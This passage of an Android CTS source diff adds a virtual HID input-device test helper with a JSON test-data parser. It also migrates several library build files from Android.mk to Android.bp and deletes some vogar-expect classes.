+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library_static {
+    name: "cts-input-lib",
+    sdk_version: "test_current",
+    srcs: ["src/**/*.java"],
+}
\ No newline at end of file
diff --git a/libs/input/src/com/android/input/HidDevice.java b/libs/input/src/com/android/input/HidDevice.java
new file mode 100644
index 0000000..f28edb5
--- /dev/null
+++ b/libs/input/src/com/android/input/HidDevice.java
@@ -0,0 +1,178 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.input;
+
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.hardware.input.InputManager;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import java.io.IOException;
+import java.io.OutputStream;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Represents a virtual HID device registered through /dev/uhid.
+ */
+public final class HidDevice implements InputManager.InputDeviceListener {
+    private static final String TAG = "HidDevice";
+    // hid executable expects "-" argument to read from stdin instead of a file
+    private static final String HID_COMMAND = "hid -";
+
+    private final int mId; // // initialized from the json file
+
+    private OutputStream mOutputStream;
+    private Instrumentation mInstrumentation;
+
+    private volatile CountDownLatch mDeviceAddedSignal; // to wait for onInputDeviceAdded signal
+
+    public HidDevice(Instrumentation instrumentation, int deviceId, String registerCommand) {
+        mInstrumentation = instrumentation;
+        setupPipes();
+
+        mInstrumentation.runOnMainSync(new Runnable(){
+            @Override
+            public void run() {
+                InputManager inputManager =
+                        mInstrumentation.getContext().getSystemService(InputManager.class);
+                inputManager.registerInputDeviceListener(HidDevice.this, null);
+            }
+        });
+
+        mId = deviceId;
+        registerInputDevice(registerCommand);
+    }
+
+    /**
+     * Register an input device. May cause a failure if the device added notification
+     * is not received within the timeout period
+     *
+     * @param registerCommand The full json command that specifies how to register this device
+     */
+    private void registerInputDevice(String registerCommand) {
+        mDeviceAddedSignal = new CountDownLatch(1);
+        writeHidCommands(registerCommand.getBytes());
+        try {
+            // Found that in kernel 3.10, the device registration takes a very long time
+            // The wait can be decreased to 2 seconds after kernel 3.10 is no longer supported
+            mDeviceAddedSignal.await(20L, TimeUnit.SECONDS);
+            if (mDeviceAddedSignal.getCount() != 0) {
+                throw new RuntimeException("Did not receive device added notification in time");
+            }
+        } catch (InterruptedException ex) {
+            throw new RuntimeException(
+                    "Unexpectedly interrupted while waiting for device added notification.");
+        }
+        // Even though the device has been added, it still may not be ready to process the events
+        // right away. This seems to be a kernel bug.
+        // Add a small delay here to ensure device is "ready".
+        SystemClock.sleep(500);
+    }
+
+    /**
+     * Add a delay between processing events.
+     *
+     * @param milliSeconds The delay in milliseconds.
+     */
+    public void delay(int milliSeconds) {
+        JSONObject json = new JSONObject();
+        try {
+            json.put("command", "delay");
+            json.put("id", mId);
+            json.put("duration", milliSeconds);
+        } catch (JSONException e) {
+            throw new RuntimeException(
+                    "Could not create JSON object to delay " + milliSeconds + " milliseconds");
+        }
+        writeHidCommands(json.toString().getBytes());
+    }
+
+    /**
+     * Send a HID report to the device. The report should follow the report descriptor
+     * that was specified during device registration.
+     * An example report:
+     * String report = "[0x01, 0x00, 0x00, 0x02]";
+     *
+     * @param report The report to send (a JSON-formatted array of hex)
+     */
+    public void sendHidReport(String report) {
+        JSONObject json = new JSONObject();
+        try {
+            json.put("command", "report");
+            json.put("id", mId);
+            json.put("report", new JSONArray(report));
+        } catch (JSONException e) {
+            throw new RuntimeException("Could not process HID report: " + report);
+        }
+        writeHidCommands(json.toString().getBytes());
+    }
+
+    private static void closeQuietly(AutoCloseable closeable) {
+        if (closeable != null) {
+            try {
+                closeable.close();
+            } catch (RuntimeException rethrown) {
+                throw rethrown;
+            } catch (Exception ignored) {
+            }
+        }
+    }
+
+    /**
+     * Close the device, which would cause the associated input device to unregister.
+     */
+    public void close() {
+        closeQuietly(mOutputStream);
+    }
+
+    private void setupPipes() {
+        UiAutomation ui = mInstrumentation.getUiAutomation();
+        ParcelFileDescriptor[] pipes = ui.executeShellCommandRw(HID_COMMAND);
+
+        mOutputStream = new ParcelFileDescriptor.AutoCloseOutputStream(pipes[1]);
+        closeQuietly(pipes[0]); // hid command is write-only
+    }
+
+    private void writeHidCommands(byte[] bytes) {
+        try {
+            mOutputStream.write(bytes);
+            mOutputStream.flush();
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    // InputManager.InputDeviceListener functions
+    @Override
+    public void onInputDeviceAdded(int deviceId) {
+        mDeviceAddedSignal.countDown();
+    }
+
+    @Override
+    public void onInputDeviceChanged(int deviceId) {
+    }
+
+    @Override
+    public void onInputDeviceRemoved(int deviceId) {
+    }
+}
diff --git a/libs/input/src/com/android/input/HidJsonParser.java b/libs/input/src/com/android/input/HidJsonParser.java
new file mode 100644
index 0000000..6cd0528
--- /dev/null
+++ b/libs/input/src/com/android/input/HidJsonParser.java
@@ -0,0 +1,255 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.input;
+
+import android.content.Context;
+import android.view.InputDevice;
+import android.view.InputEvent;
+import android.view.KeyEvent;
+import android.view.MotionEvent;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+
+
+/**
+ * Parse json resource file that contains the test commands for HidDevice
+ *
+ * For files containing reports and input events, each entry should be in the following format:
+ * <code>
+ * {"name": "test case name",
+ *  "reports": reports,
+ *  "events": input_events
+ * }
+ * </code>
+ *
+ * {@code reports} - an array of strings that contain hex arrays.
+ * {@code input_events} - an array of dicts in the following format:
+ * <code>
+ * {"action": "down|move|up", "axes": {"axis_x": x, "axis_y": y}, "keycode": "button_a"}
+ * </code>
+ * {@code "axes"} should only be defined for motion events, and {@code "keycode"} for key events.
+ * Timestamps will not be checked.
+
+ * Example:
+ * <code>
+ * [{ "name": "press button A",
+ *    "reports": ["report1",
+ *                "report2",
+ *                "report3"
+ *               ],
+ *    "events": [{"action": "down", "axes": {"axis_y": 0.5, "axis_x": 0.1}},
+ *               {"action": "move", "axes": {"axis_y": 0.0, "axis_x": 0.0}}
+ *              ]
+ *  },
+ *  ... more tests like that
+ * ]
+ * </code>
+ */
+public class HidJsonParser {
+    private static final String TAG = "JsonParser";
+
+    private Context mContext;
+
+    public HidJsonParser(Context context) {
+        mContext = context;
+    }
+
+    /**
+     * Convenience function to create JSONArray from resource.
+     * The resource specified should contain JSON array as the top-level structure.
+     *
+     * @param resourceId The resourceId that contains the json data (typically inside R.raw)
+     */
+    private JSONArray getJsonArrayFromResource(int resourceId) {
+        String data = readRawResource(resourceId);
+        try {
+            return new JSONArray(data);
+        } catch (JSONException e) {
+            throw new RuntimeException(
+                    "Could not parse resource " + resourceId + ", received: " + data);
+        }
+    }
+
+    /**
+     * Convenience function to read in an entire file as a String.
+     *
+     * @param id resourceId of the file
+     * @return contents of the raw resource file as a String
+     */
+    private String readRawResource(int id) {
+        InputStream inputStream = mContext.getResources().openRawResource(id);
+        try {
+            return readFully(inputStream);
+        } catch (IOException e) {
+            throw new RuntimeException("Could not read resource id " + id);
+        }
+    }
+
+    /**
+     * Read register command from raw resource.
+     *
+     * @param resourceId the raw resource id that contains the command
+     * @return the command to register device that can be passed to HidDevice constructor
+     */
+    public String readRegisterCommand(int resourceId) {
+        return readRawResource(resourceId);
+    }
+
+    /**
+     * Read entire input stream until no data remains.
+     *
+     * @param inputStream
+     * @return content of the input stream
+     * @throws IOException
+     */
+    private String readFully(InputStream inputStream) throws IOException {
+        OutputStream baos = new ByteArrayOutputStream();
+        byte[] buffer = new byte[1024];
+        int read = inputStream.read(buffer);
+        while (read >= 0) {
+            baos.write(buffer, 0, read);
+            read = inputStream.read(buffer);
+        }
+        return baos.toString();
+    }
+
+    /**
+     * Extract the device id from the raw resource file. This is needed in order to register
+     * a HidDevice.
+     *
+     * @param resourceId resorce file that contains the register command.
+     * @return hid device id
+     */
+    public int readDeviceId(int resourceId) {
+        try {
+            JSONObject json = new JSONObject(readRawResource(resourceId));
+            return json.getInt("id");
+        } catch (JSONException e) {
+            throw new RuntimeException("Could not read device id from resource " + resourceId);
+        }
+    }
+
+    /**
+     * Read json resource, and return a {@code List} of HidTestData, which contains
+     * the name of each test, along with the HID reports and the expected input events.
+     */
+    public List<HidTestData> getTestData(int resourceId) {
+        JSONArray json = getJsonArrayFromResource(resourceId);
+        List<HidTestData> tests = new ArrayList<HidTestData>();
+        for (int testCaseNumber = 0; testCaseNumber < json.length(); testCaseNumber++) {
+            HidTestData testData = new HidTestData();
+
+            try {
+                JSONObject testcaseEntry = json.getJSONObject(testCaseNumber);
+                testData.name = testcaseEntry.getString("name");
+                JSONArray reports = testcaseEntry.getJSONArray("reports");
+
+                for (int i = 0; i < reports.length(); i++) {
+                    String report = reports.getString(i);
+                    testData.reports.add(report);
+                }
+
+                JSONArray events = testcaseEntry.getJSONArray("events");
+                for (int i = 0; i < events.length(); i++) {
+                    JSONObject entry = events.getJSONObject(i);
+
+                    InputEvent event = null;
+                    if (entry.has("keycode")) {
+                        event = parseKeyEvent(entry);
+                    } else if (entry.has("axes")) {
+                        event = parseMotionEvent(entry);
+                    } else {
+                        throw new RuntimeException(
+                                "Input event is not specified correctly. Received: " + entry);
+                    }
+                    testData.events.add(event);
+                }
+                tests.add(testData);
+            } catch (JSONException e) {
+                throw new RuntimeException("Could not process entry " + testCaseNumber);
+            }
+        }
+        return tests;
+    }
+
+    private KeyEvent parseKeyEvent(JSONObject entry) throws JSONException {
+        int action = keyActionFromString(entry.getString("action"));
+        String keyCodeStr = entry.getString("keycode");
+        if (!keyCodeStr.startsWith("KEYCODE_")) {
+            keyCodeStr = "KEYCODE_" + keyCodeStr;
+        }
+        int keyCode = KeyEvent.keyCodeFromString(keyCodeStr);
+        return new KeyEvent(action, keyCode);
+    }
+
+    private MotionEvent parseMotionEvent(JSONObject entry) throws JSONException {
+        MotionEvent.PointerProperties[] properties = new MotionEvent.PointerProperties[1];
+        properties[0] = new MotionEvent.PointerProperties();
+        properties[0].id = 0;
+        properties[0].toolType = MotionEvent.TOOL_TYPE_UNKNOWN;
+
+        MotionEvent.PointerCoords[] coords = new MotionEvent.PointerCoords[1];
+        coords[0] = new MotionEvent.PointerCoords();
+
+        JSONObject axes = entry.getJSONObject("axes");
+        Iterator<String> keys = axes.keys();
+        while (keys.hasNext()) {
+            String axis = keys.next();
+            float value = (float) axes.getDouble(axis);
+            coords[0].setAxisValue(MotionEvent.axisFromString(axis), value);
+        }
+
+        int action = motionActionFromString(entry.getString("action"));
+        // Only care about axes and action here. Times are not checked
+        MotionEvent event = MotionEvent.obtain(/* downTime */ 0, /* eventTime */ 0, action,
+                /* pointercount */ 1, properties, coords, 0, 0, 0f, 0f,
+                0, 0, InputDevice.SOURCE_JOYSTICK, 0);
+        return event;
+    }
+
+    private int keyActionFromString(String action) {
+        switch (action.toUpperCase()) {
+            case "DOWN":
+                return KeyEvent.ACTION_DOWN;
+            case "UP":
+                return KeyEvent.ACTION_UP;
+        }
+        throw new RuntimeException("Unknown action specified: " + action);
+    }
+
+    private int motionActionFromString(String action) {
+        switch (action.toUpperCase()) {
+            case "DOWN":
+                return MotionEvent.ACTION_DOWN;
+            case "MOVE":
+                return MotionEvent.ACTION_MOVE;
+            case "UP":
+                return MotionEvent.ACTION_UP;
+        }
+        throw new RuntimeException("Unknown action specified: " + action);
+    }
+}
diff --git a/libs/input/src/com/android/input/HidTestData.java b/libs/input/src/com/android/input/HidTestData.java
new file mode 100644
index 0000000..e980dc4
--- /dev/null
+++ b/libs/input/src/com/android/input/HidTestData.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.input;
+
+import android.view.InputEvent;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Data class that stores HID test data.
+ *
+ * There need not be a 1:1 mapping from reports to events. It is possible that some reports may
+ * generate more than 1 event (maybe 2 buttons were pressed simultaneously, for example).
+ */
+public class HidTestData {
+    // Name of the test
+    public String name;
+
+    // HID reports that are used as input to /dev/uhid
+    public List<String> reports = new ArrayList<String>();
+
+    // InputEvent's that are expected to be produced after sending out the reports.
+    public List<InputEvent> events = new ArrayList<InputEvent>();
+}
diff --git a/libs/json/Android.bp b/libs/json/Android.bp
new file mode 100644
index 0000000..59a9f3a
--- /dev/null
+++ b/libs/json/Android.bp
@@ -0,0 +1,28 @@
+//
+// Copyright (C) 2010 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+java_library {
+    name: "json",
+    host_supported: true,
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+}
+
+// Compatibility version of host library
+java_library_host {
+    name: "jsonlib",
+    static_libs: ["json"],
+}
diff --git a/libs/json/Android.mk b/libs/json/Android.mk
deleted file mode 100644
index d1b2051..0000000
--- a/libs/json/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-#
-# Copyright (C) 2010 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH:= $(call my-dir)
-
-# Build the host library
-# ======================
-include $(CLEAR_VARS)
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE := jsonlib
-LOCAL_MODULE_TAGS := optional
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-# Build the target library
-# =======================
-include $(CLEAR_VARS)
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE := json
-LOCAL_MODULE_TAGS := optional
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
diff --git a/libs/runner/Android.bp b/libs/runner/Android.bp
new file mode 100644
index 0000000..425c593
--- /dev/null
+++ b/libs/runner/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// The legacy library that brings in android-support-test transitively
+java_library {
+    name: "ctstestrunner",
+
+    static_libs: ["cts-test-runner"],
+
+    sdk_version: "current",
+
+}
+
+// The library variant that brings in androidx-test transitively
+java_library {
+    name: "ctstestrunner-axt",
+
+    static_libs: ["cts-test-runner-axt"],
+
+    sdk_version: "current",
+
+}
diff --git a/libs/runner/Android.mk b/libs/runner/Android.mk
deleted file mode 100644
index f245351..0000000
--- a/libs/runner/Android.mk
+++ /dev/null
@@ -1,45 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# The legacy library that brings in android-support-test transitively
-
-LOCAL_STATIC_JAVA_LIBRARIES := cts-test-runner
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := ctstestrunner
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-
-# The library variant that brings in androidx.test transitively
-include $(CLEAR_VARS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := cts-test-runner-axt
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := ctstestrunner-axt
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-
diff --git a/libs/testserver/Android.bp b/libs/testserver/Android.bp
new file mode 100644
index 0000000..14b9ed4
--- /dev/null
+++ b/libs/testserver/Android.bp
@@ -0,0 +1,22 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "ctstestserver",
+
+    srcs: ["src/**/*.java"],
+
+    sdk_version: "16",
+
+}
diff --git a/libs/testserver/Android.mk b/libs/testserver/Android.mk
deleted file mode 100644
index 488af53..0000000
--- a/libs/testserver/Android.mk
+++ /dev/null
@@ -1,27 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := ctstestserver
-
-LOCAL_SDK_VERSION := 16
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/libs/testserver/src/android/webkit/cts/CtsTestServer.java b/libs/testserver/src/android/webkit/cts/CtsTestServer.java
index 14d829c..001590d 100644
--- a/libs/testserver/src/android/webkit/cts/CtsTestServer.java
+++ b/libs/testserver/src/android/webkit/cts/CtsTestServer.java
@@ -944,7 +944,6 @@
                     }
                     return;
                 } catch (IOException e) {
-                    Log.w(TAG, e);
                     if (--retry == 0) {
                         throw e;
                     }
diff --git a/libs/view/Android.bp b/libs/view/Android.bp
new file mode 100644
index 0000000..c58c3ca
--- /dev/null
+++ b/libs/view/Android.bp
@@ -0,0 +1,24 @@
+//
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+java_library {
+    name: "cts-view-lib",
+
+    srcs: ["src/**/*.java"],
+
+    sdk_version: "current",
+
+}
diff --git a/libs/view/Android.mk b/libs/view/Android.mk
deleted file mode 100644
index 0b121da..0000000
--- a/libs/view/Android.mk
+++ /dev/null
@@ -1,25 +0,0 @@
-#
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_MODULE := cts-view-lib
-LOCAL_MODULE_TAGS := optional
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/libs/vogar-expect/Android.bp b/libs/vogar-expect/Android.bp
new file mode 100644
index 0000000..536a33e
--- /dev/null
+++ b/libs/vogar-expect/Android.bp
@@ -0,0 +1,44 @@
+//
+// Copyright (C) 2010 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+java_library {
+    name: "vogarexpect",
+    host_supported: true,
+    srcs: ["src/**/*.java"],
+
+    sdk_version: "current",
+
+    static_libs: [
+        "guava",
+        "json",
+    ],
+}
+
+java_library_host {
+    name: "vogarexpectlib",
+    static_libs: ["vogarexpect"],
+}
+
+// Version of the lib without dependencies statically linked
+java_library_host {
+    name: "vogarexpect-no-deps",
+    srcs: ["src/**/*.java"],
+
+    libs: [
+        "guava",
+	"json",
+    ],
+}
diff --git a/libs/vogar-expect/Android.mk b/libs/vogar-expect/Android.mk
deleted file mode 100644
index f888d26..0000000
--- a/libs/vogar-expect/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-#
-# Copyright (C) 2010 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH:= $(call my-dir)
-
-# Build the host library
-# ======================
-include $(CLEAR_VARS)
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_MODULE := vogarexpectlib
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_STATIC_JAVA_LIBRARIES := guavalib jsonlib
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-# Build the target library
-# =======================
-include $(CLEAR_VARS)
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_MODULE := vogarexpect
-LOCAL_MODULE_TAGS := optional
-LOCAL_SDK_VERSION := current
-
-LOCAL_STATIC_JAVA_LIBRARIES := guava json
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
diff --git a/libs/vogar-expect/README b/libs/vogar-expect/README
index eee6f83..d8f8051 100644
--- a/libs/vogar-expect/README
+++ b/libs/vogar-expect/README
@@ -1 +1,3 @@
 Selected classes taken from http://code.google.com/p/vogar/
+
+The classes were later repackaged from vogar.** to vogar.expect.**
diff --git a/libs/vogar-expect/src/vogar/AnnotatedOutcome.java b/libs/vogar-expect/src/vogar/AnnotatedOutcome.java
deleted file mode 100644
index a27ab9e..0000000
--- a/libs/vogar-expect/src/vogar/AnnotatedOutcome.java
+++ /dev/null
@@ -1,147 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package vogar;
-
-import com.google.common.collect.Lists;
-import com.google.common.collect.Ordering;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.SortedMap;
-
-/**
- * Contains an outcome for a test, along with some metadata pertaining to the history of this test,
- * including a list of previous outcomes, an outcome corresponding to the tag Vogar is being run
- * with, if applicable, and the expectation for this test, so that result value information is
- * available.
- */
-public final class AnnotatedOutcome {
-    public static Ordering<AnnotatedOutcome> ORDER_BY_NAME = new Ordering<AnnotatedOutcome>() {
-        @Override public int compare(AnnotatedOutcome a, AnnotatedOutcome b) {
-            return a.getName().compareTo(b.getName());
-       }
-    };
-
-    private final Expectation expectation;
-    private final Outcome outcome;
-    /** a list of previous outcomes for the same action, sorted in chronological order */
-    private final SortedMap<Long, Outcome> previousOutcomes;
-    /** will be null if not comparing to a tag */
-    private final String tagName;
-    private final Outcome tagOutcome;
-    private final boolean hasMetadata;
-
-    AnnotatedOutcome(Outcome outcome, Expectation expectation,
-            SortedMap<Long, Outcome> previousOutcomes, String tagName, Outcome tagOutcome,
-            boolean hasMetadata) {
-        if (previousOutcomes == null) {
-            throw new NullPointerException();
-        }
-        this.expectation = expectation;
-        this.outcome = outcome;
-        this.previousOutcomes = previousOutcomes;
-        this.tagName = tagName;
-        this.tagOutcome = tagOutcome;
-        this.hasMetadata = hasMetadata;
-    }
-
-    public Outcome getOutcome() {
-        return outcome;
-    }
-
-    public String getName() {
-        return outcome.getName();
-    }
-
-    public ResultValue getResultValue() {
-        return outcome.getResultValue(expectation);
-    }
-
-    public List<ResultValue> getPreviousResultValues() {
-        List<ResultValue> previousResultValues = new ArrayList<ResultValue>();
-        for (Outcome previousOutcome : previousOutcomes.values()) {
-            previousResultValues.add(previousOutcome.getResultValue(expectation));
-        }
-        return previousResultValues;
-    }
-
-    /**
-     * Returns the most recent result value of a run of this test (before the current run).
-     */
-    public ResultValue getMostRecentResultValue(ResultValue defaultValue) {
-        List<ResultValue> previousResultValues = getPreviousResultValues();
-        return previousResultValues.isEmpty() ?
-                defaultValue :
-                previousResultValues.get(previousResultValues.size() - 1);
-    }
-
-    public boolean hasTag() {
-        return tagOutcome != null;
-    }
-
-    public String getTagName() {
-        return tagName;
-    }
-
-    public ResultValue getTagResultValue() {
-        return tagOutcome == null ? null : tagOutcome.getResultValue(expectation);
-    }
-
-    /**
-     * Returns true if the outcome is noteworthy given the result value and previous history.
-     */
-    public boolean isNoteworthy() {
-        return getResultValue() != ResultValue.OK || recentlyChanged() || changedSinceTag();
-    }
-
-    public boolean outcomeChanged() {
-        List<Outcome> previousOutcomesList = getOutcomeList();
-        return previousOutcomesList.isEmpty()
-                || !outcome.equals(previousOutcomesList.get(previousOutcomesList.size() - 1));
-    }
-
-    private ArrayList<Outcome> getOutcomeList() {
-        return new ArrayList<Outcome>(previousOutcomes.values());
-    }
-
-    /**
-     * Returns true if the outcome recently changed in result value.
-     */
-    private boolean recentlyChanged() {
-        List<ResultValue> previousResultValues = getPreviousResultValues();
-        if (previousResultValues.isEmpty()) {
-            return false;
-        }
-        return previousResultValues.get(previousResultValues.size() - 1) != getResultValue();
-    }
-
-    private boolean changedSinceTag() {
-        ResultValue tagResultValue = getTagResultValue();
-        return tagResultValue != null && tagResultValue != getResultValue();
-    }
-
-    /**
-     * Returns a Long representing the time the outcome was last run. Returns {@code defaultValue}
-     * if the outcome is not known to have run before.
-     */
-    public Long lastRun(Long defaultValue) {
-        if (!hasMetadata) {
-            return defaultValue;
-        }
-        List<Long> runTimes = Lists.newArrayList(previousOutcomes.keySet());
-        return runTimes.isEmpty() ? defaultValue : runTimes.get(runTimes.size() - 1);
-    }
-}
diff --git a/libs/vogar-expect/src/vogar/Expectation.java b/libs/vogar-expect/src/vogar/Expectation.java
deleted file mode 100644
index ddbc233..0000000
--- a/libs/vogar-expect/src/vogar/Expectation.java
+++ /dev/null
@@ -1,108 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
